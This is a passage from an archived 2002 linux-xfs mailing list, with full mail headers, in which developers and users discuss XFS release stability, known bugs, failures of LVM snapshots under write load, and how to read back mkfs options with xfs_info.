overly complex sentence structure.) I know SuSE uses the aa kernels and probably other distributions as well. And of course the Redhat ISO's you have are xfs 1.1. That likely means you have 1000s or 10s of 1000s of xfs 1.1 users that are not getting the benefit of the last several months of improvements. Unfortunately, I'm one :( I guess the real issue is that I'm just going to have to make the next step of working with the CVS code. (Not today, but maybe soon.) Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com >> Off the top of my head: >> hitting a bug in filemap.c unlocking an unlocked page, seems to >> be lvm related. >> corruption with the combination of fsx and heavy memory load >> for an fs with a blocksize less than a page - does not happen >> with the default 4K block size. >> a hang in unmount, or remount readonly - I only see this on >> my laptop after using some vpn software, but I do not think >> the vpn is related. I cannot hit it elsewhere, but something >> similar has been reported. >> the defragmenter seems to be able to go haywire and suck up >> cpu time. >> version 2 logs have some end cases to shake out - make a small >> log and pound on metadata really hard. If I make a larger log >> then I cannot hit this. >> An oops in xfs_iget - or a hang depending on who you are, seems >> to take very heavy load and a few cpus to hit. >> Thats enough for now! >> Steve >> >> > >> > The only thing I have pending is a partial ioctl32 translation for >> x86-64 >> > (and possible ia64 too) for some XFS ioctls. >> > >> > -Andi >> -- >> Steve Lord voice: +1-651-683-3511 >> Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 13:45:20 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MKjKBM020936 for ; Thu, 22 Aug 2002 13:45:20 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MKjKF0020935 for linux-xfs-outgoing; Thu, 22 Aug 2002 13:45:20 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.tvol.net (pr-66-150-46-254.wgate.com [66.150.46.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MKjFBM020906 for ; Thu, 22 Aug 2002 13:45:15 -0700 Received: from sinz.eng.tvol.net ([10.32.2.99]) by mail.tvol.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id NWHPV95F; Thu, 22 Aug 2002 16:45:27 -0400 Received: from wgate.com (localhost [127.0.0.1]) by sinz.eng.tvol.net (8.11.6/8.11.6) with ESMTP id g7MKmLC10852; Thu, 22 Aug 2002 16:48:22 -0400 (EDT) (envelope-from msinz@wgate.com) Message-ID: <3D654E15.7020706@wgate.com> Date: Thu, 22 Aug 2002 16:48:21 -0400 From: Michael Sinz User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.1b) Gecko/20020813 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Greg Freemyer CC: linux-xfs@oss.sgi.com Subject: Re: Detected potential for stack overflows, stack left: 796 bytes References: <20020822204145.QUAO29575.imf24bis.bellsouth.net@TAZ2> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Greg Freemyer wrote: > I guess the real issue is that I'm just going to have to make the next > step of working with the CVS code. (Not today, but maybe soon.) Use the source - it really is amazingly stable for a development CVS tree. I try to keep up-to-date with it on a regular basis. Unfortunately the Linux project here is on hold so I have not been able to build the larger clusters yet to really hammer on this thing. I hope we can restart that project soon. -- Michael Sinz -- Director, Systems Engineering -- Worldgate Communications A master's secrets are only as good as the master's ability to explain them to others. From owner-linux-xfs@oss.sgi.com Thu Aug 22 13:49:32 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MKnWBM021165 for ; Thu, 22 Aug 2002 13:49:32 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MKnV8S021164 for linux-xfs-outgoing; Thu, 22 Aug 2002 13:49:31 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf26bis.bellsouth.net (mail126.mail.bellsouth.net [205.152.58.86]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MKnPBM021131 for ; Thu, 22 Aug 2002 13:49:25 -0700 Received: from TAZ2 ([66.156.4.66]) by imf26bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020822205226.PQRG10702.imf26bis.bellsouth.net@TAZ2>; Thu, 22 Aug 2002 16:52:26 -0400 Date: Thu, 22 Aug 2002 16:51:15 -0400 From: Greg Freemyer Subject: re[4]: Redhat Advanced Server and XFS? To: Christoph Hellwig cc: Simon Matter , Bill Anderson , Linux XFS Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020822205226.PQRG10702.imf26bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7MKnPBM021132 X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> On Thu, Aug 22, 2002 at 12:55:13PM -0400, Greg Freemyer wrote: >> > Per the interview at >> http://ocfs.otncast.otnxchange.oracle.com/source/browse/ocfs/ >> > Oracle has added a lot of Enterprise quality tweaks to the AS kernel. >> (I think many of these are now in 2.4.19, but I'm not sure.) >> "Enterprise quality tweaks" is exactly the right term. Meaning they made >> Ingo code up some crude hacks to win benchmarks. (and some useful stuff >> like the O(1) scheduler). >> It's not that dramatic as Orcale describes it. And no, I haven't looked >> at >> that page as I refuse the silly registration. If Oracle wants to >> cooperate >> with Linux developers they better make their information freely available >> without having to sign up for spam. My mistake, the interview is at http://otn.oracle.com/oramag/Coekaerts.html and does not require a login. The original url I provided was for the cvs webserver for Oracle Cluster File System source. That does require a OTN login. FYI: I joined OTN (Oracle Tech Net) over a year ago, and I don't remember getting any unsolicited e-mail from them. I suppose they may have sold off the names to a generic spammer, but I doubt it. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 13:54:00 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MKs0BM021377 for ; Thu, 22 Aug 2002 13:54:00 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MKrxFU021375 for linux-xfs-outgoing; Thu, 22 Aug 2002 13:53:59 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MKrrBM021346 for ; Thu, 22 Aug 2002 13:53:53 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA93917; Thu, 22 Aug 2002 15:56:54 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA09195; Thu, 22 Aug 2002 15:56:54 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7MKrZ726180; Thu, 22 Aug 2002 15:53:35 -0500 Subject: Re: Detected potential for stack overflows, stack left: 796 bytes From: Steve Lord To: Michael Sinz Cc: Greg Freemyer , linux-xfs@oss.sgi.com In-Reply-To: <3D654E15.7020706@wgate.com> References: <20020822204145.QUAO29575.imf24bis.bellsouth.net@TAZ2> <3D654E15.7020706@wgate.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 22 Aug 2002 15:53:34 -0500 Message-Id: <1030049614.10044.137.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 15:48, Michael Sinz wrote: > Greg Freemyer wrote: > > I guess the real issue is that I'm just going to have to make the next > > step of working with the CVS code. (Not today, but maybe soon.) > > Use the source - it really is amazingly stable for a development CVS tree. > I try to keep up-to-date with it on a regular basis. Unfortunately the > Linux project here is on hold so I have not been able to build the larger > clusters yet to really hammer on this thing. I hope we can restart that > project soon. Its stable because there is not really a lot of development going on right now. Most of the recent changes have been code reorgs and deletions. I think at least a couple of the bugs in that list are regressions from the 1.1 release though, so it is not as simple as just saying upgrade your code - it will be better. We are capable of implementing bugs as well as features ;-) Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 13:54:36 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MKsaBM021499 for ; Thu, 22 Aug 2002 13:54:36 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MKsaZL021498 for linux-xfs-outgoing; Thu, 22 Aug 2002 13:54:36 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from UberGeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MKsPBM021392 for ; Thu, 22 Aug 2002 13:54:26 -0700 Received: (qmail 2132 invoked by uid 500); 22 Aug 2002 20:57:14 -0000 Subject: Re: re[4]: Redhat Advanced Server and XFS? From: Austin Gonyou To: Greg Freemyer Cc: Christoph Hellwig , Simon Matter , Bill Anderson , Linux XFS In-Reply-To: <20020822205226.PQRG10702.imf26bis.bellsouth.net@TAZ2> References: <20020822205226.PQRG10702.imf26bis.bellsouth.net@TAZ2> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-KFZrHn6tF1dwCNumtTbM" Organization: Coremetrics, Inc. Message-Id: <1030049834.1640.33.camel@UberGeek.coremetrics.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.1.0.99 (Preview Release) Date: 22 Aug 2002 15:57:14 -0500 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=-KFZrHn6tF1dwCNumtTbM Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2002-08-22 at 15:51, Greg Freemyer wrote: > >> On Thu, Aug 22, 2002 at 12:55:13PM -0400, Greg Freemyer wrote: > >> > Per the interview at > >> http://ocfs.otncast.otnxchange.oracle.com/source/browse/ocfs/ > >> > Oracle has added a lot of Enterprise quality tweaks to the AS > kernel.=20 > >> (I think many of these are now in 2.4.19, but I'm not sure.) >=20 > >> "Enterprise quality tweaks" is exactly the right term. Meaning > they made > >> Ingo code up some crude hacks to win benchmarks. (and some useful > stuff > >> like the O(1) scheduler). Precisely why I say use the -AA tree. I've yet to have any unexpected "odd" problems from it on dual and quad proc boxes. > Greg Freemyer > Internet Engineer > Deployment and Integration Specialist > Compaq ASE - Tru64 v4, v5 > Compaq Master ASE - SAN Architect > The Norcross Group www.NorcrossGroup.com --=20 Austin Gonyou Coremetrics, Inc. --=-KFZrHn6tF1dwCNumtTbM Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9ZVAq94g6ZVmFMoIRApl6AJ9vSA6BX1L+oh2iWIZrwpD+V3f9fQCgyrPg n6UTYvd4/2QktdoXyAHQW1A= =HvA9 -----END PGP SIGNATURE----- --=-KFZrHn6tF1dwCNumtTbM-- From owner-linux-xfs@oss.sgi.com Thu Aug 22 14:42:04 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MLg4BM022932 for ; Thu, 22 Aug 2002 14:42:04 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MLg468022931 for linux-xfs-outgoing; Thu, 22 Aug 2002 14:42:04 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf06bis.bellsouth.net (mail106.mail.bellsouth.net [205.152.58.46]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MLfpBM022902 for ; Thu, 22 Aug 2002 14:41:51 -0700 Received: from TAZ2 ([66.156.4.66]) by imf06bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020822214631.CUZO1228.imf06bis.bellsouth.net@TAZ2>; Thu, 22 Aug 2002 17:46:31 -0400 Date: Thu, 22 Aug 2002 17:43:42 -0400 From: Greg Freemyer Subject: Summary - Snapshot Effort To: xfs mailing list cc: LVM Mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020822214631.CUZO1228.imf06bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7MLfqBM022903 X-Spam-Status: No, hits=-0.4 required=5.0 tests=SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk All, I have not been successful at getting reliable Read-Only snapshots of XFS via LVM. Since XFS is being used in Enterprise quality applications, I suggest this is a major shortcoming that should be prioritized. BTW: Are there any snapshot related tests in the XFS regression tests? Since my testing is based on XFS V1.1, this may have been resolved in XFS CVS code. My responses from Dale Stephenson imply that there is little in the LVM CVS code that would address this. I believe there is a bug in one of the two products, or more likely it is an integration issue between the two. ( It would be great in my mind if the future XFS V1.2 release had a specific LVM configuration that reliably supported snapshots. ) Dale Stephenson has made some LVM related suggestions which I have not yet tried, but they appear more exotic than I am willing to try at the moment. I thought I would summarize what I have attempted and then move on to other issues. I am testing with the most recently release SuSE kernel based on 2.4.19pre1aa1. Apparently this uses the XFS V1.1 patches. This kernel does have the VFS-lock patch recommended by Adrian Head included. (I don't know if it is in the base kernel, or if Andrea or SuSE put it in there.) First with no i/o load, or read-only load I have had no problems. With a heavy read/write load of the xfs filesystem induced with a simple dd command, I have not been able to repeatably create a snapshot. I have never had as many as 20 consecutive successful attempts. My latest test had a 60 minute sleep between the lvremove and the lvcreate --snapshot. (This was in the hope that the LVM needed time to completely remove the previous snapshot before the new one could be created.) When a failure occurs the lvcreate --snapshot command will freeze up. A manually entered xfs_freeze -u will release the lvcreate. (The VFS-lock patch effectively is calling xfs_freeze -f internally prior to starting the snapshot process.) Obviously, if a xfs_freeze -u is required to allow lvcreate --snapshot to complete, there is the small chance of ending up with a non-mountable snapshot. At least one of my tests had this result. FYI: Adrian Head believes that the VFS-lock patch is more reliable than not having it and wrapping the lvcreate --snapshot call with explicit xfs_freeze calls. I have not tried that. There are a set of LVM kernel patches to help with this lockup available from Dale Stephenson, but he describes them as "an ugly hack that works most of the time, not the sort of thing you want in a CVS tree." Since I am trying to test a system for production deployment, this was enough to scare me away. An alternative solution from Dale: >> One way that should not experience lockups is to use neither >> xfs_freeze nor the VFS lock patch, but use writable snapshots. >> The snapshot won't be a consistent filesystem, but mount it with >> the nouuid option and let it do recovery. This way may not give >> you what you wanted, but at least it won't lock up. I am considering this option, but it does not sound optimal to me. === One more FYI: How to know if your kernel has the VFS lock patch. Explicitly call xfs_freeze -f to freeze the filesystem, then lvcreate to create a snapshot. Assuming the lvcreate runs to completion, check the original filesystem and see if it is now unfroze. If the filesystem is unfrozen, you have the patch. If it is still frozen, you don't have the patch. Hope someone finds that informative, Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 14:56:51 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MLupBM024423 for ; Thu, 22 Aug 2002 14:56:51 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MLup02024422 for linux-xfs-outgoing; Thu, 22 Aug 2002 14:56:51 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MLugBM024288 for ; Thu, 22 Aug 2002 14:56:43 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA94448; Thu, 22 Aug 2002 16:59:44 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA26265; Thu, 22 Aug 2002 16:59:44 -0500 (CDT) Subject: Re: Summary - Snapshot Effort From: Eric Sandeen To: Greg Freemyer Cc: xfs mailing list , LVM Mailing list In-Reply-To: <20020822214631.CUZO1228.imf06bis.bellsouth.net@TAZ2> References: <20020822214631.CUZO1228.imf06bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 22 Aug 2002 16:58:38 -0500 Message-Id: <1030053519.10702.9.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.8 required=5.0 tests=IN_REP_TO,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 16:43, Greg Freemyer wrote: > All, > > I have not been successful at getting reliable Read-Only snapshots of XFS via LVM. Since XFS is being used in Enterprise quality applications, I suggest this is a major shortcoming that should be prioritized. > > BTW: Are there any snapshot related tests in the XFS regression tests? No, there aren't. Frankly, snapshot has not gotten a lot of attention lately. > When a failure occurs the lvcreate --snapshot command will freeze up. If that's the failure, looking at a kdb backtrace of the "stuck" process would be helpful, and might give us an idea of where to look. Testing a CVS kernel for the same behavior would also be a good datapoint. > A manually entered xfs_freeze -u will release the lvcreate. (The VFS-lock patch effectively is calling xfs_freeze -f internally prior to starting the snapshot process.) > FYI: Adrian Head believes that the VFS-lock patch is more reliable than not having it and wrapping the lvcreate --snapshot call with explicit xfs_freeze calls. I have not tried that. If things are working as intended, that should not be the case - the end result should be that xfs runs the same code, whether you did it via a manual userspace command, or the automatic vfs-lock patch. Sending some debug output from kdb would help - but also, take a look at that list of work Steve posted today, and realize that there are lots of things going on at the moment. :) Thanks, -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Aug 22 17:45:11 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N0jABM021427 for ; Thu, 22 Aug 2002 17:45:10 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N0jAmB021426 for linux-xfs-outgoing; Thu, 22 Aug 2002 17:45:10 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mailserver.e-r-solutions.com ([65.88.1.218]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N0j4BM021395 for ; Thu, 22 Aug 2002 17:45:05 -0700 Received: by mailserver.e-r-solutions.com with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Aug 2002 17:46:57 -0700 Message-ID: From: ERG@e-r-solutions.com To: linux-xfs@oss.sgi.com Subject: Revisiting meta-data after FS creation Date: Thu, 22 Aug 2002 17:46:44 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Status: No, hits=1.5 required=5.0 tests=NO_REAL_NAME,URI_IS_POUND version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Greetings, I was just perusing the various XFS man pages, trying to find a utility to, at a later point, tell me the FS options that are displayed at mkfs time. You know, this: tapemaster:/tmp# mkfs -t xfs -f -l sunit=8,size=8192b /dev/vg0/lv0 log stripe unit specified, using v2 logs meta-data=/dev/vg0/lv0 isize=256 agcount=8, agsize=152448 blks data = bsize=4096 blocks=1219584, imaxpct=25 = sunit=0 swidth=0 blks, unwritten=0 naming =version 2 bsize=4096 log =internal log bsize=4096 blocks=8192, version=2 = sunit=1 blks realtime =none extsz=65536 blocks=0, rtextents=0 Did I miss a man page? Does anyone know how to get this info out of an already created FS? Thanks, Manuel Gomez From owner-linux-xfs@oss.sgi.com Thu Aug 22 17:53:57 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N0rvBM021663 for ; Thu, 22 Aug 2002 17:53:57 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N0rvq2021662 for linux-xfs-outgoing; Thu, 22 Aug 2002 17:53:57 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N0roBM021634 for ; Thu, 22 Aug 2002 17:53:51 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id RAA06041 for ; Thu, 22 Aug 2002 17:57:46 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA00714; Fri, 23 Aug 2002 10:55:38 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7N0tTGl000542; Fri, 23 Aug 2002 10:55:29 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7N0tSkT000540; Fri, 23 Aug 2002 10:55:28 +1000 Date: Fri, 23 Aug 2002 10:55:28 +1000 From: Nathan Scott To: ERG@e-r-solutions.com Cc: linux-xfs@oss.sgi.com Subject: Re: Revisiting meta-data after FS creation Message-ID: <20020823005528.GA449@frodo> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.5 required=5.0 tests=IN_REP_TO,URI_IS_POUND version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 05:46:44PM -0700, ERG@e-r-solutions.com wrote: > Greetings, > > I was just perusing the various XFS man pages, trying to find a utility to, > at a later point, tell me the FS options that are displayed at mkfs time. > You know, this: > > tapemaster:/tmp# mkfs -t xfs -f -l sunit=8,size=8192b /dev/vg0/lv0 > log stripe unit specified, using v2 logs > meta-data=/dev/vg0/lv0 isize=256 agcount=8, agsize=152448 blks > data = bsize=4096 blocks=1219584, imaxpct=25 > = sunit=0 swidth=0 blks, unwritten=0 > naming =version 2 bsize=4096 > log =internal log bsize=4096 blocks=8192, version=2 > = sunit=1 blks > realtime =none extsz=65536 blocks=0, rtextents=0 > > Did I miss a man page? Does anyone know how to get this info out of an > already created FS? > xfs_info(8) is what you're after. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Thu Aug 22 18:26:06 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N1Q6BM024807 for ; Thu, 22 Aug 2002 18:26:06 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N1Q63L024806 for linux-xfs-outgoing; Thu, 22 Aug 2002 18:26:06 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N1Q1BM024778 for ; Thu, 22 Aug 2002 18:26:01 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id SAA05762 for ; Thu, 22 Aug 2002 18:29:57 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id LAA19586; Fri, 23 Aug 2002 11:27:52 +1000 (EST) Date: Fri, 23 Aug 2002 11:27:52 +1000 (EST) From: Nathan Scott Message-Id: <200208230127.LAA19586@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Cc: ERG@e-r-solutions.com Subject: TAKE - docs tweak X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Thu Aug 22 18:26:56 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:125784a cmd/xfsprogs/man/man5/xfs.5 - 1.4 cmd/xfsprogs/man/man8/mkfs.xfs.8 - 1.12 - add a reference to xfs_info(8) in the SEE ALSO section (suggestion from Manuel Gomez). From owner-linux-xfs@oss.sgi.com Thu Aug 22 21:39:08 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N4d8BM011366 for ; Thu, 22 Aug 2002 21:39:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N4d8RE011365 for linux-xfs-outgoing; Thu, 22 Aug 2002 21:39:08 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.mnsu.edu (Mail.MNSU.EDU [134.29.1.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N4d3BM011337 for ; Thu, 22 Aug 2002 21:39:04 -0700 Received: from mail.mnsu.edu (mail.mnsu.edu [134.29.1.12]) by mail.mnsu.edu (8.9.3/8.9.3) with ESMTP id XAA08142 for ; Thu, 22 Aug 2002 23:42:07 -0500 (CDT) Date: Thu, 22 Aug 2002 23:42:07 -0500 (CDT) From: Jeffrey Hundstad To: linux-xfs@oss.sgi.com Subject: reserve space for root? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I've spent a little time looking and can't seem to find the mkfs.xfs flags that will reserve a percentage of space JUST FOR A SPECIFIC UID. This would be the corresponding behavior to a -m option on mkfs.ext2. Any way to adjust this after a mkfs.xfs? Like the tune2fs -m behavior? Any hints? -- jeffrey hundstad From owner-linux-xfs@oss.sgi.com Thu Aug 22 22:04:25 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7N54KBM012152 for ; Thu, 22 Aug 2002 22:04:20 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7N54J1j012151 for linux-xfs-outgoing; Thu, 22 Aug 2002 22:04:19 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7N54EBM012114 for ; Thu, 22 Aug 2002 22:04:14 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id WAA09454 for ; Thu, 22 Aug 2002 22:07:15 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA02837; Fri, 23 Aug 2002 15:05:50 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7N55VGl001153; Fri, 23 Aug 2002 15:05:31 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7N55VOD001151; Fri, 23 Aug 2002 15:05:31 +1000 Date: Fri, 